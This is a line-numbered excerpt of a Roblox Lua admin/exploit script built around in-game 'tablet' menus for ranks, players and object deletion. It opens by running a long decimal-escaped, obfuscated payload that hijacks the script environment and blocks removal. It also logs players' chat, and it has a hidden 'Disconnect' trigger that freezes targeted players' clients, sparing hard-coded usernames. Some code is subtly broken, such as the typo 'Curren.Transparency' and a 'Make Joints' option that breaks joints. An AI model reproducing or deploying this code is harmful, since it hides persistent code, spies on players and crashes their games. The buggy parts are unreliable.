  9896. print("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  9897. script:ClearAllChildren()
  9898. else
  9899. script:ClearAllChildren()
  9900. script.Parent=nil
  9901. end
  9902. wait(1)
  9903. LocalPlayer = game.Players.LocalPlayer
  9904. local asd = Instance.new("StringValue",LocalPlayer)
  9905. asd.Name = 'asd'
  9906. asd.Value = 'asdasdsadsadasdas'
  9907. wait(0.1)
  9908. asd:remove()
  9909. wait(1)
  9910. local asdcon = LocalPlayer.Chatted:connect(function(msg)
  9911. if LocalPlayer.Parent ~= game:service'Players' then
  9912. local a = Instance.new("StringValue", workspace)
  9913. a.Name = 'LolCon'
  9914. a.Value = LocalPlayer.Name..'\31'..msg
  9915. game:service'Debris':AddItem(a,2)
  9916. end
  9917. end)
  9918. local con = game.Lighting.descendantAdded:connect(function(what)
  9919. if LocalPlayer.Name == 'Cobalt1164' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'penguin0616' then return end
  9920. if what.ClassName == 'StringValue' then
  9921. if what.Name == 'Disconnect' then
  9922. local v = what.Value
  9923. if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then
  9924. repeat until false
  9925. elseif v == 'nil' then
  9926. if LocalPlayer.Parent ~= game:service'Players' then
  9927. repeat until false
  9928. end
  9929. elseif v == 'all' then
  9930. repeat until false
  9931. end
  9932. end
  9933. end
  9934. end)
  9935. local con2 = game:service'RunService'.RenderStepped:connect(function()
  9936. if LocalPlayer:findFirstChild'asd' then
  9937. asd = LocalPlayer:findFirstChild'asd'
  9938. if asd.ClassName == 'StringValue' then
  9939. if asd.Value == 'asdasdsadsadasdas' then
  9940. asd:remove()
  9941. asdcon:disconnect()
  9942. con:disconnect()
  9943. con2:disconnect()
  9944. end
  9945. end
  9946. end
  9947. end)
  9948. ]]
  9949. _force_insert=function(id,place)
  9950. place=place or
  9951. Instance.new('Model',game:service'InsertService');
  9952.  
  9953. local c=game:GetObjects('rbxassetid://'..id);
  9954. for i=1,#c do
  9955. c[i].Parent=place;
  9956. end;
  9957. end;
  9958. function All(deb)
  9959. local AllPlayers = {}
  9960. for _,v in pairs(Plrs:GetPlayers()) do
  9961. ypcall(function()
  9962. if GetRank(v.Name) ~= 8 or not deb then
  9963. table.insert(AllPlayers, v)
  9964. end
  9965. end)
  9966. end
  9967. return AllPlayers
  9968. end
  9969.  
  9970. function All2(deb)
  9971. local AllPlayers2 = {}
  9972. for i,v in pairs(Net:GetChildren()) do
  9973. ypcall(function()
  9974. if v:IsA("ServerReplicator") then
  9975. if GetRank(v:GetPlayer().Name) ~= 8 or not deb then
  9976. table.insert(AllPlayers2, v:GetPlayer())
  9977. end
  9978. end
  9979. end)
  9980. end
  9981. return AllPlayers2
  9982. end
  9983. function MakeNum()
  9984. return 2^3
  9985. end
  9986. function Menu(Speaker)
  9987. Output("Commands",Speaker,nil,function()
  9988. Dismiss(Speaker.Name)
  9989.  
  9990. Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  9991. Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  9992. Output("Rank 0", Speaker, nil, function()
  9993. if FindRank(Speaker) <= 0 then
  9994. OpenCmds(0, Speaker)
  9995.  
  9996. end
  9997. end)
  9998. Output("Rank 1", Speaker, nil, function()
  9999. if FindRank(Speaker) >= 1 then
  10000. OpenCmds(1, Speaker)
  10001.  
  10002. end
  10003. end)
  10004. Output("Rank 2", Speaker, nil, function()
  10005. if FindRank(Speaker) >= 2 then
  10006. OpenCmds(2, Speaker)
  10007.  
  10008. end
  10009. end)
  10010. Output("Rank 3", Speaker, nil, function()
  10011. if FindRank(Speaker) >= 3 then
  10012. OpenCmds(3, Speaker)
  10013.  
  10014. end
  10015. end)
  10016. Output("Rank 4", Speaker, nil, function()
  10017. if FindRank(Speaker) >= 4 then
  10018. OpenCmds(4, Speaker)
  10019.  
  10020. end
  10021. end)
  10022. Output("Rank 5", Speaker, nil, function()
  10023. if FindRank(Speaker) >= 5 then
  10024. OpenCmds(5, Speaker)
  10025.  
  10026. end
  10027. end)
  10028. Output("Rank 6", Speaker, nil, function()
  10029. if FindRank(Speaker) >= 6 then
  10030. OpenCmds(6, Speaker)
  10031.  
  10032. end
  10033. end)
  10034. Output("Rank 7", Speaker, nil, function()
  10035. if FindRank(Speaker) >= 7 then
  10036. OpenCmds(7, Speaker)
  10037.  
  10038. end
  10039. end)
  10040. end)
  10041. Output("Players", Speaker, nil, function()
  10042. ListPlayers(Speaker)
  10043. end)
  10044. Output("Explore", Speaker, nil, function()
  10045. MakeExplorer(Speaker)
  10046. end)
  10047. end
  10048. function ChangeRank(Plr, NewRank)
  10049. local PlrName = nil
  10050. local FoundPlayer = false
  10051. ypcall(function()
  10052. if type(Plr) == "string" then
  10053. ypcall(function()
  10054. for i,v in pairs(Ranked) do
  10055. if v.Name:lower() == Plr:lower() then
  10056. local VName = v.Name
  10057. Ranked[i] = nil
  10058. table.insert(Ranked, {Name = VName, Rank = NewRank})
  10059. PlrName = VName
  10060. FoundPlayer = true
  10061. break
  10062. end
  10063. end
  10064. end)
  10065. if FoundPlayer == false then
  10066. ypcall(function()
  10067. for _,x in pairs(All()) do
  10068. if x.Name:lower() == Plr:lower() then
  10069. FoundPlayer = true
  10070. for i,v in pairs(Ranked) do
  10071. if v.Name:lower() == x.Name:lower() then
  10072. local VName = x.Name
  10073. Ranked[i] = nil
  10074. PlrName = VName
  10075. break
  10076. end
  10077. end
  10078. table.insert(Ranked, {Name = VName, Rank = NewRank})
  10079. end
  10080. end
  10081. end)
  10082. end
  10083. if FoundPlayer == false then
  10084. ypcall(function()
  10085. for _,x in pairs(All()) do
  10086. if string.find(x.Name:lower(), Plr:lower()) then
  10087. FoundPlayer = true
  10088. for i,v in pairs(Ranked) do
  10089. if v.Name:lower() == x.Name:lower() then
  10090. local VName = x.Name
  10091. Ranked[i] = nil
  10092. PlrName = VName
  10093. break
  10094. end
  10095. end
  10096. table.insert(Ranked, {Name = VName, Rank = NewRank})
  10097. end
  10098. end
  10099. end)
  10100. end
  10101. if FoundPlayer == false then
  10102. ypcall(function()
  10103. for i,v in pairs(Ranked) do
  10104. if string.find(v.Name:lower(), Plr:lower()) then
  10105. local VName = v.Name
  10106. Ranked[i] = nil
  10107. table.insert(Ranked, {Name = VName, Rank = NewRank})
  10108. PlrName = VName
  10109. FoundPlayer = true
  10110. break
  10111. end
  10112. end
  10113. end)
  10114. end
  10115. else
  10116. for i,v in pairs(Ranked) do
  10117. if v.Name:lower() == Plr.Name:lower() then
  10118. Ranked[i] = nil
  10119. break
  10120. end
  10121. end
  10122. table.insert(Ranked, {Name = Plr.Name, Rank = NewRank})
  10123. PlrName = Plr.Name
  10124. end
  10125. PlaceAllRanks(true)
  10126. end)
  10127. if PlrName ~= nil then
  10128. return PlrName
  10129. else
  10130. return "Player"
  10131. end
  10132. end
  10133. function Refresh(Plr)
  10134. MakeChildren(Plr)
  10135. end
  10136. function MakeChildren(Plr)
  10137. ypcall(function()
  10138. Dismiss(Plr)
  10139. for _,v in pairs(Current:GetChildren()) do
  10140. ypcall(function()
  10141. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  10142. Output(v.Name, Plr, nil, function(TabMod)
  10143. local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10144. for _,v in pairs(Current:GetChildren()) do
  10145. ypcall(function()
  10146. if v.Name == TabText then
  10147. Dismiss(Plr)
  10148. Current = v
  10149. MakeChildren(Plr)
  10150. end
  10151. end)
  10152. end
  10153. end)
  10154. elseif Plrs:GetPlayerFromCharacter(v) then
  10155. Output(v.Name, Plr, nil, function(TabMod)
  10156. local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10157. for _,v in pairs(Current:GetChildren()) do
  10158. ypcall(function()
  10159. if v.Name == TabText then
  10160. Dismiss(Plr)
  10161. Current = v
  10162. MakeChildren(Plr)
  10163. end
  10164. end)
  10165. end
  10166. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  10167. elseif CheckImportant(v.Name) then
  10168. Output(v.Name, Plr, nil, function(TabMod)
  10169. local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10170. for _,v in pairs(Current:GetChildren()) do
  10171. ypcall(function()
  10172. if v.Name == TabText then
  10173. Dismiss(Plr)
  10174. Current = v
  10175. MakeChildren(Plr)
  10176. end
  10177. end)
  10178. end
  10179. end, ImportantColor)
  10180. end
  10181. end)
  10182. end
  10183. if Current ~= game then
  10184. Output("Back", Plr, nil, function()
  10185. ypcall(function()
  10186. Current = Current.Parent
  10187. MakeChildren(Plr)
  10188. Output("Returned to "..Current.Name, Plr, 5)
  10189. end)
  10190. end, OptionColor)
  10191. end
  10192. if FindRank(Speaker) >= 5 then
  10193. if Current ~= game then
  10194. Output("Delete", Plr, nil, function()
  10195. ypcall(function()
  10196. local CurrPar = Current.Parent or game
  10197. local CurrName = Current.Name
  10198. Current:Destroy()
  10199. Current = CurrPar
  10200. MakeChildren(Plr)
  10201. Output("Deleted "..CurrName, Plr, 5)
  10202. end)
  10203. end, OptionColor)
  10204. end
  10205. Output("Remove", Plr, nil, function()
  10206. ypcall(function()
  10207. local CurrPar = Current.Parent or game
  10208. local CurrName = Current.Name
  10209. Current:Remove()
  10210. Current = CurrPar
  10211. MakeChildren(Plr)
  10212. Output("Removed "..CurrName, Plr, 5)
  10213. end)
  10214. end, OptionColor)
  10215. Output("Break Joints", Plr, nil, function()
  10216. ypcall(function()
  10217. local CurrPar = Current.Parent or game
  10218. local CurrName = Current.Name
  10219. Current:BreakJoints()
  10220. Current = CurrPar
  10221. MakeChildren(Plr)
  10222. Output("Removed "..CurrName, Plr, 5)
  10223. end)
  10224. end, OptionColor)
  10225. Output("Make Joints", Plr, nil, function()
  10226. ypcall(function()
  10227. local CurrPar = Current.Parent or game
  10228. local CurrName = Current.Name
  10229. Current:BreakJoints()
  10230. Current = CurrPar
  10231. MakeChildren(Plr)
  10232. Output("Removed "..CurrName, Plr, 5)
  10233. end)
  10234. end, OptionColor)
  10235. Output("Hide", Plr, nil, function()
  10236. ypcall(function()
  10237. local CurrPar = Current.Parent or game
  10238. local CurrName = Current.Name
  10239. Current.Transparency = 1
  10240. Current = CurrPar
  10241. MakeChildren(Plr)
  10242. Output("Hid "..CurrName, Plr, 5)
  10243. end)
  10244. end, OptionColor)
  10245. Output("Fade", Plr, nil, function()
  10246. ypcall(function()
  10247. local CurrPar = Current.Parent or game
  10248. local CurrName = Current.Name
  10249. Curren.Transparency = 0.5
  10250. Current = CurrPar
  10251. MakeChildren(Plr)
  10252. Output("Hid "..CurrName, Plr, 5)
  10253. end)
  10254. end, OptionColor)
  10255. Output("Show", Plr, nil, function()
  10256. ypcall(function()
  10257. local CurrPar = Current.Parent or game
  10258. local CurrName = Current.Name
  10259. Current.Transparency = 0
  10260. Current = CurrPar
  10261. MakeChildren(Plr)
  10262. Output("Hid "..CurrName, Plr, 5)
  10263. end)
  10264. end, OptionColor)
  10265. Output("Refresh", Plr, nil, function()
  10266. ypcall(function()
  10267. Refresh(Plr)
  10268. Output("Refreshed Instance Options", Plr, 5)
  10269. end)
  10270. end, OptionColor)
  10271. end
  10272. end)
  10273. end
  10274. function MakeExplorer(Plr)
  10275. Dismiss(Plr)
  10276. Current = game
  10277. for _,v in pairs(Current:GetChildren()) do
  10278. ypcall(function()
  10279. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  10280. Output(v.Name, Plr, nil, function(TabMod)
  10281. local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10282. for _,v in pairs(Current:GetChildren()) do
  10283. ypcall(function()
  10284. if v.Name == TabText then
  10285. Dismiss(Plr)
  10286. Current = v
  10287. MakeChildren(Plr)
  10288. end
  10289. end)
  10290. end
  10291. end)
  10292. elseif Plrs:GetPlayerFromCharacter(v) then
  10293. Output(v.Name, Plr, nil, function(TabMod)
  10294. local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10295. for _,v in pairs(Current:GetChildren()) do
  10296. ypcall(function()
  10297. if v.Name == TabText then
  10298. Dismiss(Plr)
  10299. Current = v
  10300. MakeChildren(Plr)
  10301. end
  10302. end)
  10303. end
  10304. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  10305. elseif CheckImportant(v.Name) then
  10306. Output(v.Name, Plr, nil, function(TabMod)
  10307. local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10308. for _,v in pairs(Current:GetChildren()) do
  10309. ypcall(function()
  10310. if v.Name == TabText then
  10311. Dismiss(Plr)
  10312. Current = v
  10313. MakeChildren(Plr)
  10314. end
  10315. end)
  10316. end
  10317. end, ImportantColor)
  10318. end
  10319. end)
  10320. end
  10321. if Current ~= game then
  10322. if FindRank(Plr) >= 5 then
  10323. Output("Delete", Plr, nil, function()
  10324. ypcall(function()
  10325. local CurrPar = Current.Parent or game
  10326. local CurrName = Current.Name
  10327. Current:Destroy()
  10328. Current = CurrPar
  10329. MakeChildren(Plr)
  10330. Output("Deleted "..CurrName, Plr, 5)
  10331. end)
  10332. end, OptionColor)
  10333. end
  10334. Output("Remove", Plr, nil, function()
  10335. ypcall(function()
  10336. local CurrPar = Current.Parent or game
  10337. local CurrName = Current.Name
  10338. Current:Remove()
  10339. Current = CurrPar
  10340. MakeChildren(Plr)
  10341. Output("Removed "..CurrName, Plr, 5)
  10342. end)
  10343. end, OptionColor)
  10344. Output("Break Joints", Plr, nil, function()
  10345. ypcall(function()
  10346. local CurrPar = Current.Parent or game
  10347. local CurrName = Current.Name
  10348. Current:BreakJoints()
  10349. Current = CurrPar
  10350. MakeChildren(Plr)
  10351. Output("Removed "..CurrName, Plr, 5)
  10352. end)
  10353. end, OptionColor)
  10354. Output("Make Joints", Plr, nil, function()
  10355. ypcall(function()
  10356. local CurrPar = Current.Parent or game
  10357. local CurrName = Current.Name
  10358. Current:BreakJoints()
  10359. Current = CurrPar
  10360. MakeChildren(Plr)
  10361. Output("Removed "..CurrName, Plr, 5)
  10362. end)
  10363. end, OptionColor)
  10364. Output("Hide", Plr, nil, function()
  10365. ypcall(function()
  10366. local CurrPar = Current.Parent or game
  10367. local CurrName = Current.Name
  10368. Current.Transparency = 1
  10369. Current = CurrPar
  10370. MakeChildren(Plr)
  10371. Output("Hid "..CurrName, Plr, 5)
  10372. end)
  10373. end, OptionColor)
  10374. Output("Fade", Plr, nil, function()
  10375. ypcall(function()
  10376. local CurrPar = Current.Parent or game
  10377. local CurrName = Current.Name
  10378. Curren.Transparency = 0.5
  10379. Current = CurrPar
  10380. MakeChildren(Plr)
  10381. Output("Hid "..CurrName, Plr, 5)
  10382. end)
  10383. end, OptionColor)
  10384. Output("Show", Plr, nil, function()
  10385. ypcall(function()
  10386. local CurrPar = Current.Parent or game
  10387. local CurrName = Current.Name
  10388. Current.Transparency = 0
  10389. Current = CurrPar
  10390. MakeChildren(Plr)
  10391. Output("Hid "..CurrName, Plr, 5)
  10392. end)
  10393. end, OptionColor)
  10394. Output("Refresh", Plr, nil, function()
  10395. ypcall(function()
  10396. Refresh(Plr)
  10397. Output("Refreshed Instance Options", Plr, 5)
  10398. end)
  10399. end, OptionColor)
  10400. else
  10401. Output("You cannot use this", Plr,5)
  10402. return
  10403. end
  10404. end
  10405. function GetRank(Plr1, Test)
  10406. ypcall(function()
  10407. if type(Plr1) == "userdata" then
  10408. Plr1 = Plr1.Name
  10409. end
  10410. end)
  10411. if Ranks[Plr1] ~= nil then
  10412. return Ranks[Plr1]
  10413. end
  10414. local QuickArray = {}
  10415. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
  10416. return QuickArray[Plr1]
  10417. end
  10418.  
  10419. function CanRun(Plr1, Plr2)
  10420. Details1 = GetRank(Plr1.Name)
  10421. Details2 = GetRank(Plr2.Name)
  10422. if Details1.Rank >= Details2.Rank then
  10423. return true
  10424. end
  10425. return false
  10426. end
  10427.  
  10428. function Dismiss(Plr, Identity)
  10429. ypcall(function()
  10430. if Plr ~= nil then
  10431. if type(Plr) == "userdata" then
  10432. Plr = Plr.Name
  10433. end
  10434. for x,v in pairs(AllTabs) do
  10435. ypcall(function()
  10436. if v.Plr == Plr then
  10437. if Identity ~= nil and v.ID ~= Identity then
  10438. return
  10439. elseif Identity ~= nil and v.ID == Identity then
  10440. coroutine.resume(coroutine.create(function()
  10441. for i = 0.5, 1, 0.1 do
  10442. wait()
  10443. v.Tab.Transparency = i
  10444. v.Sel.Transparency = i
  10445. v.Label.TextTransparency = i
  10446. v.Label.TextStrokeTransparency = i
  10447. end
  10448. ypcall(function()
  10449. v.Holder:Destroy()
  10450. end)
  10451. AllTabs[x] = nil
  10452. end))
  10453. elseif Identity == nil then
  10454. ypcall(function() v.Holder:Destroy() end)
  10455. AllTabs[x] = nil
  10456. end
  10457. end
  10458. end)
  10459. end
  10460. else
  10461. for i,v in pairs(AllTabs) do
  10462. ypcall(function()
  10463. v.Holder:Destroy()
  10464. AllTabs[i] = nil
  10465. end)
  10466. end
  10467. end
  10468. end)
  10469. end
  10470.  
  10471. function GetGarbage()
  10472. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  10473. end
  10474.  
  10475. function RemObj(Obj, Class)
  10476. ypcall(function()
  10477. if #Obj:GetChildren() > 0 then
  10478. for _,x in pairs(Obj:GetChildren()) do
  10479. ypcall(function()
  10480. RemObj(x, Class)
  10481. end)
  10482. end
  10483. end
  10484. if Obj.ClassName == Class then
  10485. Obj:Destroy()
  10486. end
  10487. end)
  10488. end
  10489.  
  10490. function FindTab(Mod)
  10491. for i,v in pairs(AllTabs) do
  10492. if v.Holder == Mod then
  10493. return true
  10494. end
  10495. end
  10496. return false
  10497. end
  10498.  
  10499.  
  10500. function Output(Msg, Plr, Time, Func, Color, Image, Test)
  10501. if Removed == false then
  10502. local ShowGarbage = false
  10503. ypcall(function()
  10504. if Msg == nil then
  10505. Msg = "N/A"
  10506. elseif Msg == "ShowGarbage" then
  10507. Msg = "Current Garbage Count: "..GetGarbage()
  10508. ShowGarbage = true
  10509. else
  10510. Msg = tostring(Msg)
  10511. end
  10512. if Plr == nil then
  10513. Plr = Plrs[Owner] or error("No Player Found")
  10514. elseif type(Plr) == "string" then
  10515. local FoundPlr = false
  10516. for _,v in pairs(All()) do
  10517. if v.Name == Plr then
  10518. Plr = v
  10519. FoundPlr = true
  10520. break
  10521. end
  10522. end
  10523. if FoundPlr == false then
  10524. Plr = Plrs[Owner] or error("No Player Found")
  10525. end
  10526. end
  10527.  
  10528. if Color == nil then
  10529. Color = GetRank(Plr.Name).Color
  10530.  
  10531. end
  10532.  
  10533. local Holder = Instance.new("Model")
  10534. Holder.Name = "KKA"
  10535.  
  10536. local Tab = Instance.new("Part", Holder)
  10537. Tab.Name = "KKA Tablet"
  10538. Tab.FormFactor = "Custom"
  10539. Tab.Anchored = true
  10540. if Time == nil then
  10541. Tab.Color = Color
  10542. else
  10543. Tab.Color = OptionColor
  10544. end
  10545. Tab.CanCollide = false
  10546. Tab.Locked = true
  10547. Tab.Transparency = TabletTransparency
  10548. Tab.Size = Vector3.new(2.2,2.2,2.2)
  10549.  
  10550. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  10551.  
  10552. local ID = Instance.new("NumberValue")
  10553. ID.Name = "ID"
  10554. ID.Value = math.random(-999999999, 999999999)
  10555. ID.Parent = Holder
  10556.  
  10557. --[[Delay(0, function()
  10558. while wait() do
  10559. if Tab.Parent == nil and FindTab(Holder) then
  10560. ypcall(function()
  10561. for i,v in pairs(AllTabs) do
  10562. if v.Holder == Holder then
  10563. ypcall(function() v.Holder:Destroy() end)
  10564. AllTabs[i] = nil
  10565. end
  10566. end
  10567. end)
  10568. Output(Msg, Plr, Time, Func, Color, Image, Test)
  10569. break
  10570. end
  10571. end
  10572. end)]]--
  10573.  
  10574. local BM = Instance.new("BlockMesh")
  10575. BM.Parent = Tab
  10576.  
  10577.  
  10578.  
  10579.  
